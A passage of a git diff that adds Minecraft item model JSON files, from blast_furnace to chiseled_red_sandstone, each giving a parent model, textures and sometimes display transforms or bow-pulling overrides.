b/src/assets/minecraft/models/item/blast_furnace.json new file mode 100644 index 00000000..5189a013 --- /dev/null +++ b/src/assets/minecraft/models/item/blast_furnace.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blast_furnace" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blaze_powder.json b/src/assets/minecraft/models/item/blaze_powder.json new file mode 100644 index 00000000..1e735c19 --- /dev/null +++ b/src/assets/minecraft/models/item/blaze_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/blaze_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blaze_rod.json b/src/assets/minecraft/models/item/blaze_rod.json new file mode 100644 index 00000000..2c8c052a --- /dev/null +++ b/src/assets/minecraft/models/item/blaze_rod.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/blaze_rod" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blaze_spawn_egg.json b/src/assets/minecraft/models/item/blaze_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/blaze_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_banner.json b/src/assets/minecraft/models/item/blue_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/blue_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_bed.json b/src/assets/minecraft/models/item/blue_bed.json new file mode 100644 index 00000000..59f7f2ba --- /dev/null +++ b/src/assets/minecraft/models/item/blue_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/blue_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_carpet.json b/src/assets/minecraft/models/item/blue_carpet.json new file mode 100644 index 00000000..0ced6287 --- /dev/null +++ b/src/assets/minecraft/models/item/blue_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_concrete.json b/src/assets/minecraft/models/item/blue_concrete.json new file mode 100644 index 00000000..4c15897c --- /dev/null +++ b/src/assets/minecraft/models/item/blue_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_concrete_powder.json b/src/assets/minecraft/models/item/blue_concrete_powder.json new file mode 100644 index 00000000..e5f13d4a --- /dev/null +++ b/src/assets/minecraft/models/item/blue_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_dye.json b/src/assets/minecraft/models/item/blue_dye.json new file mode 100644 index 00000000..4235b598 --- /dev/null +++ b/src/assets/minecraft/models/item/blue_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/blue_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_glazed_terracotta.json b/src/assets/minecraft/models/item/blue_glazed_terracotta.json new file mode 100644 index 00000000..f7b0efbb --- /dev/null +++ b/src/assets/minecraft/models/item/blue_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_ice.json b/src/assets/minecraft/models/item/blue_ice.json new file mode 100644 index 00000000..86d267e5 --- /dev/null +++ b/src/assets/minecraft/models/item/blue_ice.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_ice" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_orchid.json b/src/assets/minecraft/models/item/blue_orchid.json new file mode 100644 index 00000000..13449dc1 --- /dev/null +++ b/src/assets/minecraft/models/item/blue_orchid.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/blue_orchid" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_shulker_box.json b/src/assets/minecraft/models/item/blue_shulker_box.json new file mode 100644 index 00000000..62a9dfd8 --- /dev/null +++ b/src/assets/minecraft/models/item/blue_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/blue_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_stained_glass.json b/src/assets/minecraft/models/item/blue_stained_glass.json new file mode 100644 index 00000000..c3727cd8 --- /dev/null +++ b/src/assets/minecraft/models/item/blue_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_stained_glass_pane.json b/src/assets/minecraft/models/item/blue_stained_glass_pane.json new file mode 100644 index 00000000..c4890062 --- /dev/null +++ b/src/assets/minecraft/models/item/blue_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_terracotta.json b/src/assets/minecraft/models/item/blue_terracotta.json new file mode 100644 index 00000000..a89b057d --- /dev/null +++ b/src/assets/minecraft/models/item/blue_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blue_wool.json b/src/assets/minecraft/models/item/blue_wool.json new file mode 100644 index 00000000..22458dbd --- /dev/null +++ b/src/assets/minecraft/models/item/blue_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blue_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bone.json b/src/assets/minecraft/models/item/bone.json new file mode 100644 index 00000000..3063401c --- /dev/null +++ b/src/assets/minecraft/models/item/bone.json @@ -0,0 +1,13 @@ +{ + "parent": "item/handheld", + "textures": { + "layer0": "item/bone" + }, + "display": { + "head": { + "rotation": [ 0, 0, -45 ], + "translation": [ 0, -4.5, -6.5], + "scale":[ 1, 1, 1 ] + } + } +} diff --git a/src/assets/minecraft/models/item/bone_block.json b/src/assets/minecraft/models/item/bone_block.json new file mode 100644 index 00000000..1374ccda --- /dev/null +++ b/src/assets/minecraft/models/item/bone_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/bone_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bone_meal.json b/src/assets/minecraft/models/item/bone_meal.json new file mode 100644 index 00000000..60f7c5f0 --- /dev/null +++ b/src/assets/minecraft/models/item/bone_meal.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/bone_meal" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/book.json b/src/assets/minecraft/models/item/book.json new file mode 100644 index 00000000..1ca201bf --- /dev/null +++ b/src/assets/minecraft/models/item/book.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/book" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bookshelf.json b/src/assets/minecraft/models/item/bookshelf.json new file mode 100644 index 00000000..57943d42 --- /dev/null +++ b/src/assets/minecraft/models/item/bookshelf.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/bookshelf" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bow.json b/src/assets/minecraft/models/item/bow.json new file mode 100644 index 00000000..c2128757 --- /dev/null +++ b/src/assets/minecraft/models/item/bow.json @@ -0,0 +1,50 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/bow" + }, + "display": { + "thirdperson_righthand": { + "rotation": [ -80, 260, -40 ], + "translation": [ -1, -2, 2.5 ], + "scale": [ 0.9, 0.9, 0.9 ] + }, + "thirdperson_lefthand": { + "rotation": [ -80, -280, 40 ], + "translation": [ -1, -2, 2.5 ], + "scale": [ 0.9, 0.9, 0.9 ] + }, + "firstperson_righthand": { + "rotation": [ 0, -90, 25 ], + "translation": [ 1.13, 3.2, 1.13], + "scale": [ 0.68, 0.68, 0.68 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 90, -25 ], + "translation": [ 1.13, 3.2, 1.13], + "scale": [ 0.68, 0.68, 0.68 ] + } + }, + "overrides": [ + { + "predicate": { + "pulling": 1 + }, + "model": "item/bow_pulling_0" + }, + { + "predicate": { + "pulling": 1, + "pull": 0.65 + }, + "model": "item/bow_pulling_1" + }, + { + "predicate": { + "pulling": 1, + "pull": 0.9 + }, + "model": "item/bow_pulling_2" + } + ] +} diff --git a/src/assets/minecraft/models/item/bow_pulling_0.json b/src/assets/minecraft/models/item/bow_pulling_0.json new file mode 100644 index 00000000..8a44db20 --- /dev/null +++ b/src/assets/minecraft/models/item/bow_pulling_0.json @@ -0,0 +1,6 @@ +{ + "parent": "item/bow", + "textures": { + "layer0": "item/bow_pulling_0" + } +} diff --git a/src/assets/minecraft/models/item/bow_pulling_1.json b/src/assets/minecraft/models/item/bow_pulling_1.json new file mode 100644 index 00000000..5fd94893 --- /dev/null +++ b/src/assets/minecraft/models/item/bow_pulling_1.json @@ -0,0 +1,6 @@ +{ + "parent": "item/bow", + "textures": { + "layer0": "item/bow_pulling_1" + } +} diff --git a/src/assets/minecraft/models/item/bow_pulling_2.json b/src/assets/minecraft/models/item/bow_pulling_2.json new file mode 100644 index 00000000..8584d5b3 --- /dev/null +++ b/src/assets/minecraft/models/item/bow_pulling_2.json @@ -0,0 +1,6 @@ +{ + "parent": "item/bow", + "textures": { + "layer0": "item/bow_pulling_2" + } +} diff --git a/src/assets/minecraft/models/item/bowl.json b/src/assets/minecraft/models/item/bowl.json new file mode 100644 index 00000000..d6a579ca --- /dev/null +++ b/src/assets/minecraft/models/item/bowl.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/bowl" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brain_coral.json b/src/assets/minecraft/models/item/brain_coral.json new file mode 100644 index 00000000..68c13d9d --- /dev/null +++ b/src/assets/minecraft/models/item/brain_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/brain_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brain_coral_block.json b/src/assets/minecraft/models/item/brain_coral_block.json new file mode 100644 index 00000000..04d112ab --- /dev/null +++ b/src/assets/minecraft/models/item/brain_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brain_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brain_coral_fan.json b/src/assets/minecraft/models/item/brain_coral_fan.json new file mode 100644 index 00000000..9b00117a --- /dev/null +++ b/src/assets/minecraft/models/item/brain_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/brain_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bread.json b/src/assets/minecraft/models/item/bread.json new file mode 100644 index 00000000..9f62cd75 --- /dev/null +++ b/src/assets/minecraft/models/item/bread.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/bread" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brewing_stand.json b/src/assets/minecraft/models/item/brewing_stand.json new file mode 100644 index 00000000..414f4ecc --- /dev/null +++ b/src/assets/minecraft/models/item/brewing_stand.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/brewing_stand" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brick.json b/src/assets/minecraft/models/item/brick.json new file mode 100644 index 00000000..4ba38e86 --- /dev/null +++ b/src/assets/minecraft/models/item/brick.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/brick" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brick_slab.json b/src/assets/minecraft/models/item/brick_slab.json new file mode 100644 index 00000000..754deec6 --- /dev/null +++ b/src/assets/minecraft/models/item/brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brick_stairs.json b/src/assets/minecraft/models/item/brick_stairs.json new file mode 100644 index 00000000..2a2318dc --- /dev/null +++ b/src/assets/minecraft/models/item/brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brick_wall.json b/src/assets/minecraft/models/item/brick_wall.json new file mode 100644 index 00000000..52dcc04e --- /dev/null +++ b/src/assets/minecraft/models/item/brick_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brick_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bricks.json b/src/assets/minecraft/models/item/bricks.json new file mode 100644 index 00000000..dd257a86 --- /dev/null +++ b/src/assets/minecraft/models/item/bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/broken_elytra.json b/src/assets/minecraft/models/item/broken_elytra.json new file mode 100644 index 00000000..ca77df44 --- /dev/null +++ b/src/assets/minecraft/models/item/broken_elytra.json @@ -0,0 +1,6 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/broken_elytra" + } +} diff --git a/src/assets/minecraft/models/item/brown_banner.json b/src/assets/minecraft/models/item/brown_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/brown_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_bed.json b/src/assets/minecraft/models/item/brown_bed.json new file mode 100644 index 00000000..fd4abaa0 --- /dev/null +++ b/src/assets/minecraft/models/item/brown_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/brown_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_carpet.json b/src/assets/minecraft/models/item/brown_carpet.json new file mode 100644 index 00000000..144ce5ad --- /dev/null +++ b/src/assets/minecraft/models/item/brown_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_concrete.json b/src/assets/minecraft/models/item/brown_concrete.json new file mode 100644 index 00000000..7aec153e --- /dev/null +++ b/src/assets/minecraft/models/item/brown_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_concrete_powder.json b/src/assets/minecraft/models/item/brown_concrete_powder.json new file mode 100644 index 00000000..e228eaaa --- /dev/null +++ b/src/assets/minecraft/models/item/brown_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_dye.json b/src/assets/minecraft/models/item/brown_dye.json new file mode 100644 index 00000000..d9cb87fb --- /dev/null +++ b/src/assets/minecraft/models/item/brown_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/brown_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_glazed_terracotta.json b/src/assets/minecraft/models/item/brown_glazed_terracotta.json new file mode 100644 index 00000000..8ed9bac4 --- /dev/null +++ b/src/assets/minecraft/models/item/brown_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_mushroom.json b/src/assets/minecraft/models/item/brown_mushroom.json new file mode 100644 index 00000000..f1779d5c --- /dev/null +++ b/src/assets/minecraft/models/item/brown_mushroom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/brown_mushroom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_mushroom_block.json b/src/assets/minecraft/models/item/brown_mushroom_block.json new file mode 100644 index 00000000..c9d6b06e --- /dev/null +++ b/src/assets/minecraft/models/item/brown_mushroom_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_mushroom_block_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_shulker_box.json b/src/assets/minecraft/models/item/brown_shulker_box.json new file mode 100644 index 00000000..c28ee18a --- /dev/null +++ b/src/assets/minecraft/models/item/brown_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/brown_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_stained_glass.json b/src/assets/minecraft/models/item/brown_stained_glass.json new file mode 100644 index 00000000..a3aac572 --- /dev/null +++ b/src/assets/minecraft/models/item/brown_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_stained_glass_pane.json b/src/assets/minecraft/models/item/brown_stained_glass_pane.json new file mode 100644 index 00000000..0a40ae5f --- /dev/null +++ b/src/assets/minecraft/models/item/brown_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/brown_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_terracotta.json b/src/assets/minecraft/models/item/brown_terracotta.json new file mode 100644 index 00000000..17f524a7 --- /dev/null +++ b/src/assets/minecraft/models/item/brown_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/brown_wool.json b/src/assets/minecraft/models/item/brown_wool.json new file mode 100644 index 00000000..85520a1b --- /dev/null +++ b/src/assets/minecraft/models/item/brown_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/brown_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bubble_coral.json b/src/assets/minecraft/models/item/bubble_coral.json new file mode 100644 index 00000000..8d8ea3f8 --- /dev/null +++ b/src/assets/minecraft/models/item/bubble_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/bubble_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bubble_coral_block.json b/src/assets/minecraft/models/item/bubble_coral_block.json new file mode 100644 index 00000000..05a1309f --- /dev/null +++ b/src/assets/minecraft/models/item/bubble_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/bubble_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bubble_coral_fan.json b/src/assets/minecraft/models/item/bubble_coral_fan.json new file mode 100644 index 00000000..40a14416 --- /dev/null +++ b/src/assets/minecraft/models/item/bubble_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/bubble_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bucket.json b/src/assets/minecraft/models/item/bucket.json new file mode 100644 index 00000000..727318a4 --- /dev/null +++ b/src/assets/minecraft/models/item/bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cactus.json b/src/assets/minecraft/models/item/cactus.json new file mode 100644 index 00000000..d1413ecf --- /dev/null +++ b/src/assets/minecraft/models/item/cactus.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cactus" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cake.json b/src/assets/minecraft/models/item/cake.json new file mode 100644 index 00000000..70a9bd0a --- /dev/null +++ b/src/assets/minecraft/models/item/cake.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cake" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/campfire.json b/src/assets/minecraft/models/item/campfire.json new file mode 100644 index 00000000..8042feb6 --- /dev/null +++ b/src/assets/minecraft/models/item/campfire.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/campfire" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/carrot.json b/src/assets/minecraft/models/item/carrot.json new file mode 100644 index 00000000..3fe4125e --- /dev/null +++ b/src/assets/minecraft/models/item/carrot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/carrot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/carrot_on_a_stick.json b/src/assets/minecraft/models/item/carrot_on_a_stick.json new file mode 100644 index 00000000..a768c1f2 --- /dev/null +++ b/src/assets/minecraft/models/item/carrot_on_a_stick.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld_rod", + "textures": { + "layer0": "minecraft:item/carrot_on_a_stick" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cartography_table.json b/src/assets/minecraft/models/item/cartography_table.json new file mode 100644 index 00000000..b7fe4e47 --- /dev/null +++ b/src/assets/minecraft/models/item/cartography_table.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cartography_table" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/carved_pumpkin.json b/src/assets/minecraft/models/item/carved_pumpkin.json new file mode 100644 index 00000000..54f009c0 --- /dev/null +++ b/src/assets/minecraft/models/item/carved_pumpkin.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/carved_pumpkin" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cat_spawn_egg.json b/src/assets/minecraft/models/item/cat_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/cat_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cauldron.json b/src/assets/minecraft/models/item/cauldron.json new file mode 100644 index 00000000..43b8a248 --- /dev/null +++ b/src/assets/minecraft/models/item/cauldron.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cauldron" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cave_spider_spawn_egg.json b/src/assets/minecraft/models/item/cave_spider_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/cave_spider_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chain.json b/src/assets/minecraft/models/item/chain.json new file mode 100644 index 00000000..c6ed30bf --- /dev/null +++ b/src/assets/minecraft/models/item/chain.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chain" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chain_command_block.json b/src/assets/minecraft/models/item/chain_command_block.json new file mode 100644 index 00000000..44af865a --- /dev/null +++ b/src/assets/minecraft/models/item/chain_command_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chain_command_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chainmail_boots.json b/src/assets/minecraft/models/item/chainmail_boots.json new file mode 100644 index 00000000..35126d5e --- /dev/null +++ b/src/assets/minecraft/models/item/chainmail_boots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chainmail_boots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chainmail_chestplate.json b/src/assets/minecraft/models/item/chainmail_chestplate.json new file mode 100644 index 00000000..3efbf410 --- /dev/null +++ b/src/assets/minecraft/models/item/chainmail_chestplate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chainmail_chestplate" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chainmail_helmet.json b/src/assets/minecraft/models/item/chainmail_helmet.json new file mode 100644 index 00000000..e5bd2d42 --- /dev/null +++ b/src/assets/minecraft/models/item/chainmail_helmet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chainmail_helmet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chainmail_leggings.json b/src/assets/minecraft/models/item/chainmail_leggings.json new file mode 100644 index 00000000..22530cf9 --- /dev/null +++ b/src/assets/minecraft/models/item/chainmail_leggings.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chainmail_leggings" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/charcoal.json b/src/assets/minecraft/models/item/charcoal.json new file mode 100644 index 00000000..d5022235 --- /dev/null +++ b/src/assets/minecraft/models/item/charcoal.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/charcoal" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chest.json b/src/assets/minecraft/models/item/chest.json new file mode 100644 index 00000000..cdfd5488 --- /dev/null +++ b/src/assets/minecraft/models/item/chest.json @@ -0,0 +1,38 @@ +{ + "parent": "builtin/entity", + "textures": { + "particle": "block/oak_planks" + }, + "display": { + "gui": { + "rotation": [ 30, 45, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.625, 0.625, 0.625 ] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 3, 0], + "scale":[ 0.25, 0.25, 0.25 ] + }, + "head": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 1, 1, 1] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.5, 0.5, 0.5 ] + }, + "thirdperson_righthand": { + "rotation": [ 75, 315, 0 ], + "translation": [ 0, 2.5, 0], + "scale": [ 0.375, 0.375, 0.375 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 315, 0 ], + "translation": [ 0, 0, 0], + "scale": [ 0.4, 0.4, 0.4 ] + } + } +} diff --git a/src/assets/minecraft/models/item/chest_minecart.json b/src/assets/minecraft/models/item/chest_minecart.json new file mode 100644 index 00000000..bacac30e --- /dev/null +++ b/src/assets/minecraft/models/item/chest_minecart.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chest_minecart" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chicken.json b/src/assets/minecraft/models/item/chicken.json new file mode 100644 index 00000000..661e00ac --- /dev/null +++ b/src/assets/minecraft/models/item/chicken.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chicken" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chicken_spawn_egg.json b/src/assets/minecraft/models/item/chicken_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/chicken_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chipped_anvil.json b/src/assets/minecraft/models/item/chipped_anvil.json new file mode 100644 index 00000000..46804e59 --- /dev/null +++ b/src/assets/minecraft/models/item/chipped_anvil.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chipped_anvil" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chiseled_nether_bricks.json b/src/assets/minecraft/models/item/chiseled_nether_bricks.json new file mode 100644 index 00000000..fb134fe3 --- /dev/null +++ b/src/assets/minecraft/models/item/chiseled_nether_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chiseled_nether_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chiseled_polished_blackstone.json b/src/assets/minecraft/models/item/chiseled_polished_blackstone.json new file mode 100644 index 00000000..a2615345 --- /dev/null +++ b/src/assets/minecraft/models/item/chiseled_polished_blackstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chiseled_polished_blackstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chiseled_quartz_block.json b/src/assets/minecraft/models/item/chiseled_quartz_block.json new file mode 100644 index 00000000..f8b20616 --- /dev/null +++ b/src/assets/minecraft/models/item/chiseled_quartz_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chiseled_quartz_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chiseled_red_sandstone.json b/src/assets/minecraft/models/item/chiseled_red_sandstone.json new file mode 100644 index 00000000..e3ded796 --- /dev/null +++ b/src/assets/minecraft/models/item/chiseled_red_sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chiseled_red_sandstone" +} \ No newline at end of file diff --git 